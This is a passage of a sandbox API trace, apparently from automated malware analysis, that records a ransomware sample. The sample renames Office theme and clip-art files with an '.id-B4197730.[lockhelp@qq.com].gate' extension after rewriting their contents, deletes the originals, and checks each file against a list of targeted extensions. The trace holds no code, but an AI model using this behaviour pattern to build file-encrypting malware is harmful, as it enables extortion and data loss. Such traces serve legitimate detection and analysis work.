lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x342e, lpOverlapped=0x0) returned 1 [0301.958] WriteFile (in: hFile=0x564, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x3430, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x3430, lpOverlapped=0x0) returned 1 [0301.959] ReadFile (in: hFile=0x528, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.959] WriteFile (in: hFile=0x564, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.959] SetEndOfFile (hFile=0x564) returned 1 [0301.963] CloseHandle (hObject=0x564) returned 1 [0301.964] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.964] SetEndOfFile (hFile=0x528) returned 1 [0301.969] CloseHandle (hObject=0x528) returned 1 [0301.970] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0302.006] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid")) returned 1 [0302.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0302.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0302.008] lstrlenW (lpString=".doc") returned 4 [0302.008] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0302.008] lstrlenW (lpString=".docx") returned 5 [0302.008] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0302.008] lstrlenW (lpString=".pdf") returned 4 [0302.008] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0302.008] lstrlenW (lpString=".xls") returned 4 [0302.008] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0302.008] lstrlenW (lpString=".xlsx") returned 5 [0302.008] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0302.008] lstrlenW (lpString=".ppt") returned 4 [0302.008] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0302.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0302.008] lstrlenW (lpString=".zip") returned 4 [0302.008] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0302.008] lstrlenW (lpString=".rar") returned 4 [0302.008] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0302.008] lstrlenW (lpString=".bz2") returned 4 [0302.008] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0302.008] lstrlenW (lpString=".7z") returned 3 [0302.008] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0302.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0302.008] lstrlenW (lpString=".dbf") returned 4 [0302.008] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0302.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0302.008] lstrlenW (lpString=".1cd") returned 4 [0302.008] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0302.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0302.008] lstrlenW (lpString=".jpg") returned 4 [0302.008] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0302.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0302.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0302.009] lstrlenW (lpString=".doc") returned 4 [0302.009] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0302.009] lstrlenW (lpString=".docx") returned 5 [0302.009] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0302.009] lstrlenW (lpString=".pdf") returned 4 [0302.009] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0302.009] lstrlenW (lpString=".xls") returned 4 [0302.009] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0302.009] lstrlenW (lpString=".xlsx") returned 5 [0302.009] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0302.009] lstrlenW (lpString=".ppt") returned 4 [0302.009] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0302.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0302.009] lstrlenW (lpString=".zip") returned 4 [0302.009] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0302.009] lstrlenW (lpString=".rar") returned 4 [0302.009] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0302.009] lstrlenW (lpString=".bz2") returned 4 [0302.009] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0302.009] lstrlenW (lpString=".7z") returned 3 [0302.009] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0302.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0302.009] lstrlenW (lpString=".dbf") returned 4 [0302.009] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0302.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0302.009] lstrlenW (lpString=".1cd") returned 4 [0302.009] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0302.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0302.010] lstrlenW (lpString=".jpg") returned 4 [0302.010] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0302.010] lstrcmpiW (lpString1=".eftx", lpString2=".gate") returned -1 [0302.010] lstrlenW (lpString="Banded Edge.eftx") returned 16 [0302.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0302.012] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=47851) returned 1 [0302.012] CloseHandle (hObject=0x4f4) returned 1 [0302.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx")) returned 0x220 [0302.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0302.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0302.013] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.013] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0302.211] GetLastError () returned 0x0 [0302.211] ReadFile (in: hFile=0x4f4, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0xbaeb, lpOverlapped=0x0) returned 1 [0302.342] WriteFile (in: hFile=0x414, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0xbaf0, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0xbaf0, lpOverlapped=0x0) returned 1 [0302.344] ReadFile (in: hFile=0x4f4, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.344] WriteFile (in: hFile=0x414, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0xf4, lpOverlapped=0x0) returned 1 [0302.344] SetEndOfFile (hFile=0x414) returned 1 [0302.344] CloseHandle (hObject=0x414) returned 1 [0302.344] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.344] SetEndOfFile (hFile=0x4f4) returned 1 [0302.367] CloseHandle (hObject=0x4f4) returned 1 [0302.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0302.368] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx")) returned 1 [0302.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0302.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0302.369] lstrlenW (lpString=".doc") returned 4 [0302.369] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0302.369] lstrlenW (lpString=".docx") returned 5 [0302.369] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0302.369] lstrlenW (lpString=".pdf") returned 4 [0302.369] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0302.369] lstrlenW (lpString=".xls") returned 4 [0302.369] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0302.369] lstrlenW (lpString=".xlsx") returned 5 [0302.369] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0302.369] lstrlenW (lpString=".ppt") returned 4 [0302.369] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0302.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0302.369] lstrlenW (lpString=".zip") returned 4 [0302.369] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0302.369] lstrlenW (lpString=".rar") returned 4 [0302.369] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0302.369] lstrlenW (lpString=".bz2") returned 4 [0302.369] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0302.369] lstrlenW (lpString=".7z") returned 3 [0302.369] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0302.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0302.369] lstrlenW (lpString=".dbf") returned 4 [0302.370] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0302.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0302.370] lstrlenW (lpString=".1cd") returned 4 [0302.370] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0302.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0302.370] lstrlenW (lpString=".jpg") returned 4 [0302.370] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0302.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0302.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0302.370] lstrlenW (lpString=".doc") returned 4 [0302.370] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0302.370] lstrlenW (lpString=".docx") returned 5 [0302.370] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0302.370] lstrlenW (lpString=".pdf") returned 4 [0302.370] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0302.370] lstrlenW (lpString=".xls") returned 4 [0302.370] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0302.370] lstrlenW (lpString=".xlsx") returned 5 [0302.370] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0302.370] lstrlenW (lpString=".ppt") returned 4 [0302.370] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0302.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0302.370] lstrlenW (lpString=".zip") returned 4 [0302.370] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0302.370] lstrlenW (lpString=".rar") returned 4 [0302.370] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0302.370] lstrlenW (lpString=".bz2") returned 4 [0302.370] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0302.370] lstrlenW (lpString=".7z") returned 3 [0302.370] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0302.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0302.370] lstrlenW (lpString=".dbf") returned 4 [0302.370] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0302.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0302.371] lstrlenW (lpString=".1cd") returned 4 [0302.371] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0302.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0302.371] lstrlenW (lpString=".jpg") returned 4 [0302.371] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0302.371] lstrcmpiW (lpString1=".eftx", lpString2=".gate") returned -1 [0302.371] lstrlenW (lpString="Glow Edge.eftx") returned 14 [0302.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0302.372] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=54347) returned 1 [0302.372] CloseHandle (hObject=0x4f4) returned 1 [0302.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx")) returned 0x220 [0302.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0302.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0302.373] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.373] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0302.373] GetLastError () returned 0x0 [0302.373] ReadFile (in: hFile=0x4f4, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0xd44b, lpOverlapped=0x0) returned 1 [0302.435] WriteFile (in: hFile=0x4c0, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0xd450, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0xd450, lpOverlapped=0x0) returned 1 [0302.436] ReadFile (in: hFile=0x4f4, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.436] WriteFile (in: hFile=0x4c0, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0xf0, lpOverlapped=0x0) returned 1 [0302.437] SetEndOfFile (hFile=0x4c0) returned 1 [0302.437] CloseHandle (hObject=0x4c0) returned 1 [0302.437] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.437] SetEndOfFile (hFile=0x4f4) returned 1 [0302.467] CloseHandle (hObject=0x4f4) returned 1 [0302.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0302.467] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx")) returned 1 [0302.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0302.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0302.468] lstrlenW (lpString=".doc") returned 4 [0302.468] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0302.468] lstrlenW (lpString=".docx") returned 5 [0302.468] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0302.468] lstrlenW (lpString=".pdf") returned 4 [0302.468] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0302.468] lstrlenW (lpString=".xls") returned 4 [0302.468] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0302.468] lstrlenW (lpString=".xlsx") returned 5 [0302.468] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0302.468] lstrlenW (lpString=".ppt") returned 4 [0302.468] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0302.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0302.468] lstrlenW (lpString=".zip") returned 4 [0302.468] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0302.468] lstrlenW (lpString=".rar") returned 4 [0302.468] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0302.468] lstrlenW (lpString=".bz2") returned 4 [0302.468] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0302.468] lstrlenW (lpString=".7z") returned 3 [0302.469] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0302.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0302.469] lstrlenW (lpString=".dbf") returned 4 [0302.469] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0302.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0302.469] lstrlenW (lpString=".1cd") returned 4 [0302.469] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0302.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0302.469] lstrlenW (lpString=".jpg") returned 4 [0302.469] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0302.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0302.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0302.469] lstrlenW (lpString=".doc") returned 4 [0302.469] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0302.469] lstrlenW (lpString=".docx") returned 5 [0302.469] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0302.469] lstrlenW (lpString=".pdf") returned 4 [0302.469] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0302.469] lstrlenW (lpString=".xls") returned 4 [0302.469] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0302.469] lstrlenW (lpString=".xlsx") returned 5 [0302.469] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0302.469] lstrlenW (lpString=".ppt") returned 4 [0302.469] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0302.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0302.469] lstrlenW (lpString=".zip") returned 4 [0302.469] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0302.469] lstrlenW (lpString=".rar") returned 4 [0302.469] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0302.469] lstrlenW (lpString=".bz2") returned 4 [0302.469] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0302.469] lstrlenW (lpString=".7z") returned 3 [0302.470] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0302.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0302.470] lstrlenW (lpString=".dbf") returned 4 [0302.470] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0302.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0302.470] lstrlenW (lpString=".1cd") returned 4 [0302.470] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0302.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0302.473] lstrlenW (lpString=".jpg") returned 4 [0302.473] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0302.474] lstrcmpiW (lpString1=".eftx", lpString2=".gate") returned -1 [0302.474] lstrlenW (lpString="Milk Glass.eftx") returned 15 [0302.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0302.474] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=46403) returned 1 [0302.474] CloseHandle (hObject=0x528) returned 1 [0302.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx")) returned 0x220 [0302.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0302.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0302.475] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.475] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0302.477] GetLastError () returned 0x0 [0302.477] ReadFile (in: hFile=0x528, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0xb543, lpOverlapped=0x0) returned 1 [0302.553] WriteFile (in: hFile=0x4f4, 